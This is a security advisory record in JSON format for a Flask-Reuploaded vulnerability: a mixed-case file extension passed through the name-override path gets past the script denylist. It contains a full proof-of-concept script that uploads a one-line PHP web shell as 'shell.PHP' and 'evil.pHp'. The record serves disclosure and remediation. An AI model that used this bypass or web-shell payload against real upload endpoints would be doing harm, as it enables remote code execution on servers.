1 line
15 KiB
JSON
1 line
15 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-937x-gpqr-72gg","published":"2026-07-17T20:11:35Z","modified":"2026-07-23T15:11:48.782940354Z","aliases":["CVE-2026-54567","PYSEC-2026-3466"],"summary":"Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)","details":"## 1. Header\n\n| Field | Value |\n|---|---|\n| **Title** | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |\n| **Project** | Flask-Reuploaded (`flask_uploads`) |\n| **Affected** | `<= 1.5.0` (latest release; commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`) |\n| **Relationship** | Incomplete-fix variant of **CVE-2026-27641** (fixed in v1.5.0; this variant survives that fix) |\n| **CWE** | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |\n| **CVSS v3.1 (proposed)** | **~7.0–7.3 (High, conditional)** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`. Final score deferred to maintainer. |\n| **Verified against** | `pip install Flask-Reuploaded==1.5.0`, Python 3.11 |\n\n---\n\n## 2. Decisive evidence — the asymmetry\n\nThe v1.5.0 fix for CVE-2026-27641 added an extension **re-validation** that runs when a caller supplies a `name` override to `UploadSet.save()`. It is routed through the **case-preserving** `extension()` helper, whereas the default upload path normalizes to lowercase via `lowercase_ext()` (inside `get_basename()`). The two paths disagree on case:\n\n```\ndefault path : get_basename(\"shell.PHP\")\n = lowercase_ext(secure_filename(\"shell.PHP\")) = \"shell.php\"\n -> extension(\"shell.php\") = \"php\"\n -> extension_allowed(\"php\") -> DENY (correct)\n\nname-override : secure_filename(\"shell.PHP\") = \"shell.PHP\" (case preserved)\n -> basename = \"shell.PHP\"\n -> ext = extension(\"shell.PHP\") = \"PHP\" (NOT lowercased)\n -> extension_allowed(\"PHP\") -> ALLOW (bypass)\n```\n\nOn a denylist `UploadSet` the allow-check returns `True` for the mixed-case form:\n\n```python\n# extensions.py:97\ndef __contains__(self, item): return item not in self.items\n# \"PHP\" not in ('js','php','pl','py','rb','sh') -> True -> allowed\n```\n\n`extension_allowed(\"PHP\")` passes the denylist that `extension_allowed(\"php\")` is blocked by.\n\n---\n\n## 3. Vulnerability summary\n\n`UploadSet.save(storage, name=...)` lets the caller override the stored filename. After the CVE-2026-27641 fix, `name` is sanitized with `secure_filename()` and its extension re-validated. Because the re-validation compares a **case-preserving** extension against a policy whose denied tokens are lowercase, an attacker controlling `name` stores a file with a denied extension by varying case (`shell.PHP`, `evil.pHp`). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache `AddHandler`/`AddType`), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).\n\n---\n\n## 4. Affected components\n\nPermalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23` (v1.5.0).\n\n| Role | Location |\n|---|---|\n| Normalizing helper (default path) | `src/flask_uploads/flask_uploads.py:283` — `return lowercase_ext(secure_filename(filename))` |\n| `save()` entry | `src/flask_uploads/flask_uploads.py:285` |\n| name-override sanitize | `src/flask_uploads/flask_uploads.py:333` — `name = secure_filename(name)` |\n| name-override assign (case kept) | `src/flask_uploads/flask_uploads.py:341` — `basename = name` |\n| **Re-validation (non-normalizing)** | `src/flask_uploads/flask_uploads.py:344` — `ext = extension(basename)` |\n| Allow-check | `src/flask_uploads/flask_uploads.py:345` |\n| Policy check | `src/flask_uploads/flask_uploads.py:268` — `extension_allowed` |\n| Containment backstop (path only) | `src/flask_uploads/flask_uploads.py:364` |\n| Sink | `src/flask_uploads/flask_uploads.py:374` — `storage.save(target)` |\n| Case-preserving extractor | `src/flask_uploads/extensions.py:101` — `def extension` |\n| Case-normalizing extractor | `src/flask_uploads/extensions.py:109` — `def lowercase_ext` |\n| Denylist membership | `src/flask_uploads/extensions.py:97` — `AllExcept.__contains__` |\n| Documented script denylist | `src/flask_uploads/extensions.py:34-35` |\n\n---\n\n## 5. Taint analysis\n\n- **Source:** the `name` argument of `UploadSet.save(storage, name=...)` — commonly user-derived; the parent CVE-2026-27641 already treats `name` as attacker-controllable.\n- **Guard (asymmetric):** `secure_filename(name)` stops traversal, but the extension policy check at `:344-345` uses non-normalizing `extension()` against a lowercase-tokened policy. The realpath containment at `:364` constrains the *path*, not the *extension* — orthogonal to this bypass.\n- **Sink:** `storage.save(target)` at `:374` writes the attacker-extensioned file into the served upload directory.\n\n---\n\n## 6. CVSS justification (preconditions stated honestly)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` ≈ **7.0–7.3 (High)**.\n\n- **AV:N** — web upload endpoint.\n- **AC:H** — three preconditions (stated plainly):\n 1. `UploadSet` uses a **denylist** — `AllExcept(...)` or populated `config.deny`. (Allowlists fail closed — §7c.)\n 2. Application passes a **user-influenced `name`** to `save()`.\n 3. Deployment resolves/executes extensions **case-insensitively** (Windows/macOS FS; Apache `AddHandler`/`AddType`).\n- **PR:L** — uploads typically authenticated. **UI:N**. **S:U**. **C:H/I:H/A:H** — RCE under the web server's privileges on execution-capable upload dirs.\n\n**Why High, not a contrived misconfiguration** — the bypassed control is the library's documented script-blocking mechanism:\n\n- `extensions.py:34-35` — `SCRIPTS`: *\"…you might want to add ``php`` to the DENY setting.\"*\n- `extensions.py:24-26` — `EXECUTABLES`: *\"…it's better suited for use with `AllExcept`.\"*\n\nAn app that followed this guidance to block scripts is exactly what this variant defeats.\n\n**Not claimed:** not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.\n\n---\n\n## 7. Proof of Concept (results)\n\nAgainst shipped `Flask-Reuploaded==1.5.0`:\n\n### 7a. Asymmetry\n```\ndefault path : lowercase_ext(\"shell.PHP\") -> \"php\" -> extension_allowed(\"php\") -> DENY\nname-override : secure_filename(\"shell.PHP\") -> \"shell.PHP\" -> extension(...) -> \"PHP\" -> extension_allowed(\"PHP\") -> ALLOW\n```\n\n### 7b. End-to-end (denylist `AllExcept(SCRIPTS)`)\n```\n[1] save(storage(\"shell.PHP\")) -> UploadNotAllowed (default path blocked)\n[2] save(storage(\"upload.bin\"), name=\"shell.PHP\") -> saved \"shell.PHP\", on_disk=True (BYPASS)\n[2b] save(storage(\"upload.bin\"), name=\"evil.pHp\") -> saved \"evil.pHp\", on_disk=True; containment intact\n```\n\n### 7c. Negative controls\n```\n[3] allowlist IMAGES, name=\"shell.PHP\" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed)\n[4] allowlist IMAGES, name=\"photo.jpg\" -> saved \"photo.jpg\" (legit unaffected)\n```\n\n---\n\n## 8. Patch pattern (internal precedent)\n\nThe project ships a **case-normalizing** extractor (`lowercase_ext`, used by `get_basename`) specifically so configured extensions are *\"compare[d] … in the same case\"* (its docstring). The v1.5.0 re-validation instead calls the **case-preserving** `extension()`, so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.\n\n---\n\n## 9. Impact\n\n- Bypass of the documented extension denylist for scripts/executables.\n- Storage of `.PHP` / `.pHp` / mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated).\n- On case-insensitive execution surfaces → **remote code execution** under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.\n\n---\n\n## 10. Suggested remediation\n\nNormalize before the policy check so the name-override path matches the default path:\n\n1. `ext = extension(basename).lower()` (or `extension(lowercase_ext(basename))`) before `extension_allowed`.\n2. Or run the overridden `basename` through `lowercase_ext()` (as `get_basename` does) before both validation and save.\n3. Or make `extension_allowed` / the policy containers case-insensitive.\n\nOption (1) or (2) is the minimal, behavior-preserving fix.\n\n---\n\n## 11. Evidence files\n\n- `poc_case_fold.py` (§12) — self-contained PoC; runs against `pip install Flask-Reuploaded==1.5.0`.\n- `/tmp/flask_reuploaded_case_fold_proof.txt` — captured verdict.\n- Source permalinks pinned to commit `ae31c3f91da40b465ca5e8f57d93f063b4553e23`.\n\n---\n\n## 12. Full PoC script (`poc_case_fold.py`)\n\n```python\n\"\"\"\nPoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant\nCase-folding asymmetry in the name-override extension re-validation.\n\nParent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a\n`name` override is supplied, but routed it through the CASE-PRESERVING\n`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the\ndefault upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet\n(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the\ndenylist that the default path correctly blocks.\n\n default path : lowercase_ext(\"shell.PHP\") -> \"php\" -> extension_allowed(\"php\") -> DENY\n name-override : secure_filename(\"shell.PHP\") -> \"shell.PHP\" (case kept)\n -> extension(\"shell.PHP\") -> \"PHP\" -> extension_allowed(\"PHP\") -> ALLOW\n\nTested against the SHIPPED, patched Flask-Reuploaded==1.5.0.\n\"\"\"\nimport io\nimport os\nimport shutil\nimport tempfile\n\nfrom flask import Flask\nfrom flask_uploads import (\n UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,\n)\nfrom werkzeug.datastructures import FileStorage\nimport flask_uploads\n\n\ndef make_storage(filename: str) -> FileStorage:\n return FileStorage(\n stream=io.BytesIO(b\"<?php system($_GET['c']); ?>\"),\n filename=filename,\n content_type=\"application/octet-stream\",\n )\n\n\ndef run():\n import importlib.metadata as md\n print(f\"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}\")\n\n dest_denylist = tempfile.mkdtemp(prefix=\"fr_deny_\")\n dest_allowlist = tempfile.mkdtemp(prefix=\"fr_allow_\")\n\n app = Flask(__name__)\n files_deny = UploadSet(\"filesdeny\", AllExcept(SCRIPTS)) # documented \"allow all except scripts\"\n files_allow = UploadSet(\"filesallow\", IMAGES) # allowlist (fail-closed)\n app.config[\"UPLOADED_FILESDENY_DEST\"] = dest_denylist\n app.config[\"UPLOADED_FILESALLOW_DEST\"] = dest_allowlist\n configure_uploads(app, (files_deny, files_allow))\n\n results = {}\n with app.app_context():\n # [1] default path, denylist -> must DENY\n try:\n saved = files_deny.save(make_storage(\"shell.PHP\"))\n results[\"default_path\"] = f\"SAVED as {saved} <-- UNEXPECTED\"\n except UploadNotAllowed:\n results[\"default_path\"] = \"DENIED (expected)\"\n\n # [2] name-override, denylist -> BYPASS\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"shell.PHP\")\n on_disk = os.path.join(dest_denylist, saved)\n results[\"variant\"] = f\"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}\"\n except UploadNotAllowed:\n results[\"variant\"] = \"DENIED (variant did NOT reproduce)\"\n\n # [2b] mixed-case generality + containment intact\n try:\n saved = files_deny.save(make_storage(\"upload.bin\"), name=\"evil.pHp\")\n on_disk = os.path.join(dest_denylist, saved)\n inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))\n results[\"variant_mixed\"] = f\"BYPASS — saved as {saved}, inside_dest={inside}\"\n except UploadNotAllowed:\n results[\"variant_mixed\"] = \"DENIED\"\n\n # [3] allowlist -> fail closed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n results[\"allowlist\"] = f\"SAVED as {saved} <-- allowlist leaked\"\n except UploadNotAllowed:\n results[\"allowlist\"] = \"DENIED (expected — allowlist fails closed)\"\n\n # [4] legit upload -> allowed\n try:\n saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n except UploadNotAllowed:\n results[\"legit\"] = \"DENIED (UNEXPECTED — legit upload broke)\"\n\n print(\"VERDICT:\")\n for k, v in results.items():\n print(f\" {k:14s}: {v}\")\n\n confirmed = (\n \"BYPASS\" in results.get(\"variant\", \"\")\n and results.get(\"default_path\") == \"DENIED (expected)\"\n and \"DENIED\" in results.get(\"allowlist\", \"\")\n )\n print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED — honest cut\")\n\n shutil.rmtree(dest_denylist, ignore_errors=True)\n shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n run()\n```","affected":[{"package":{"name":"flask-reuploaded","ecosystem":"PyPI","purl":"pkg:pypi/flask-reuploaded"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.3","0.3.1","0.3.2","0.4.0","0.5.0","1.0.0","1.1.0","1.2.0","1.3.0","1.4.0","1.5.0"],"database_specific":{"last_known_affected_version_range":"<= 1.5.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-937x-gpqr-72gg/GHSA-937x-gpqr-72gg.json"}}],"references":[{"type":"WEB","url":"https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"},{"type":"WEB","url":"https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"},{"type":"PACKAGE","url":"https://github.com/jugmac00/flask-reuploaded"}],"database_specific":{"cwe_ids":["CWE-178","CWE-434"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T20:11:35Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}]} |